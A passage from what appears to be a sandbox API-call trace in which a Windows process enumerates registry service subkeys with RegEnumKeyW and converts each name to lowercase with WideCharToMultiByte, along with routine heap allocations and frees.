hKey=0x9c, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0173.121] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0173.121] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0173.121] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0173.122] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0173.122] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.122] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0173.122] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.122] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0173.122] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0173.122] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0173.122] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0173.122] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.122] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0173.122] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0173.122] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.122] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0173.122] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0173.122] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0173.122] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0173.122] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0173.122] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0173.122] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0173.122] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.122] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0173.122] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.122] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0173.122] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0173.122] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0173.122] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0173.122] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.122] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0173.122] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0173.122] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.122] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0173.122] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0173.122] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0173.123] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0173.123] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0173.123] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0173.123] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0173.123] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.123] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0173.123] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.123] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0173.123] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0173.123] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0173.123] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0173.123] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.123] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0173.123] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0173.123] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.123] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0173.123] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0173.123] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0173.123] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0173.123] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0173.123] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0173.123] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0173.123] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.123] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0173.123] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.123] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0173.123] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0173.123] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0173.123] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0173.123] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.123] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0173.123] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0173.123] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.123] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0173.124] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0173.124] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0173.124] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0173.124] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0173.124] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0173.124] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0173.124] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.124] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0173.124] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.124] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0173.124] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0173.124] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0173.124] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0173.124] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.124] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0173.124] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0173.124] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.124] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0173.124] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0173.124] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0173.124] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0173.124] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0173.124] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0173.124] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f18e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0173.124] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.124] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0173.124] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.124] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0173.124] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0173.124] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0173.124] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0173.124] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.124] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1d18, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0173.124] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0173.125] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.125] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0173.125] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0173.125] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0173.125] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0173.125] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0173.125] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0173.125] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f18e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0173.125] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0173.125] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0173.125] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0173.125] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0173.125] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0173.125] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0173.125] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0173.125] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0173.125] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0173.126] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0173.126] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0173.126] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0173.126] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0173.126] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0173.126] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0173.126] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0173.126] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0173.126] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0173.126] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0173.126] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0173.126] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0173.126] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0173.126] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0173.126] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0173.126] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0173.126] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0173.127] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0173.127] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0173.127] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0173.127] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0173.127] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0173.127] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0173.127] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0173.127] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0173.127] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0173.127] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0173.127] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0173.127] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0173.127] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0173.127] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0173.127] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0173.127] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0173.127] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0173.128] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0173.128] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0173.128] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0173.128] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0173.128] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0173.128] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0173.128] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0173.128] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0173.128] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0173.128] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0173.128] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0173.128] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0173.128] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0173.128] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0173.128] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0173.128] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0173.128] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0173.129] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0173.129] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0173.129] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0173.129] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0173.129] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0173.129] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0173.129] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0173.129] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0173.129] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0173.129] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0173.129] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0173.129] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0173.129] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0173.129] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0173.129] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0173.129] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0173.129] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 